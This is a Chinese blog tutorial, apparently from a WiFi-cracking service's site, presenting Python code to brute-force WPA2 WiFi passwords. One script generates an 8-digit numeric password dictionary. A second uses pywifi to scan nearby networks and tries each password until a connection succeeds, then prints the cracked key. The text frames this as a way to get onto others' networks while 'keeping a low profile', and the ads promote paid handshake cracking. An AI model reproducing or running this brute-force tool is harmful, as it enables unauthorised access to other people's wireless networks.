python版本的WiFi万能钥匙

caocao1年前教程199

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

最全wifi密码字典包

一、前言说明

本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm 需要Python的包有:pywifi 这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供一个破解思路

'''
遇到不懂的问题?Python学习交流群:821460695满足你的需求,资料都已经上传群文件,可以自行下载!
'''
import itertools as its
if __name__ == '__main__':
 words_num = "1234567890"
 words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 r = its.product(words_num, repeat=8)
 dic = open("password-8位数字.txt", "w")
 for i in r:
 dic.write("".join(i))
 dic.write("".join("\n"))
 dic.close()

二、思路介绍

先生成一个密码字典(此步骤也可以从网上下载字典) 循环用密码字典的每个密码去尝试连接Wifi,直到成功

三、源码设计

  1. 密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典
import pywifi
from pywifi import const # 引用一些定义
import time
def getwifi(wifilist, wificount):
 wifi = pywifi.PyWiFi() # 抓取网卡接口
 ifaces = wifi.interfaces()[0] # 获取网卡
 ifaces.scan()
 time.sleep(8)
 bessis = ifaces.scan_results()
 allwifilist = []
 namelist = []
 ssidlist = []
 for data in bessis:
 if data.ssid not in namelist: # 去掉重复的WIFI名称
 namelist.append(data.ssid)
 allwifilist.append((data.ssid, data.signal))
 sorted(allwifilist, key=lambda st: st[1], reverse=True)
 time.sleep(1)
 n = 0
 if len(allwifilist) is not 0:
 for item in allwifilist:
 if (item[0] not in ssidlist) & (item[0] not in wifilist):
 n = n + 1
 if n <= wificount:
 ssidlist.append(item[0])
 print(allwifilist)
 return ssidlist
def getifaces():
 wifi = pywifi.PyWiFi() # 抓取网卡接口
 ifaces = wifi.interfaces()[0] # 获取网卡
 ifaces.disconnect() # 断开无限网卡连接
 return ifaces
def testwifi(ifaces, ssidname, password):
 profile = pywifi.Profile() # 创建wifi连接文件
 profile.ssid = ssidname # 定义wifissid
 profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
 profile.key = password # wifi密码
 ifaces.remove_all_network_profiles() # 删除其他所有配置文件
 tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
 ifaces.connect(tmp_profile) # 连接wifi
 time.sleep(5) # 5秒内能否连接上
 if ifaces.status() == const.IFACE_CONNECTED:
 return True
 else:
 return False
def beginwork(wifinamelist):
 ifaces = getifaces()
 path = r"password-8位数字.txt"
 # path = r"password-常用密码.txt"
 files = open(path, 'r')
 while True:
 try:
 password = files.readline()
 password = password.strip('\n')
 if not password:
 break
 for wifiname in wifinamelist:
 print("正在尝试:" + wifiname + "," + password)
 if testwifi(ifaces, wifiname, password):
 print("Wifi账号:" + wifiname + ",Wifi密码:" + password)
 wifinamelist.remove(wifiname)
 break
 if not wifinamelist:
 break
 except:
 continue
 files.close()
if __name__ == '__main__':
 wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
 wifinames = getwifi(wifinames_e, 5)
 print(wifinames)
 beginwork(wifinames)

相关文章

kali Linux安装中文输入法

kali Linux安装中文输入法

回答1:在 Kali Linux 上安装中文输入法的方法有很多种,其中一种是使用 fcitx 输入法。1. 安装 fcitx 输入法:在终端输入 "sudo apt-get install fcitx...

最常使用的10大渗透测试系统与21个Kali渗透工具

最常使用的10大渗透测试系统与21个Kali渗透工具

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 最常使用的10大渗透测试...

python的各种错误类型都是什么

python的各种错误类型都是什么

以下是常见的Python编程中的错误类型: ZeroDivisionError:除以零或取模运算时出现的错误(适用于所有数据类型)。 ValueError:传入无效参数时出现的错误。 Asserti...

翻看那些年蹭网用的软件

翻看那些年蹭网用的软件

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 这台小上网本伴随我多年,...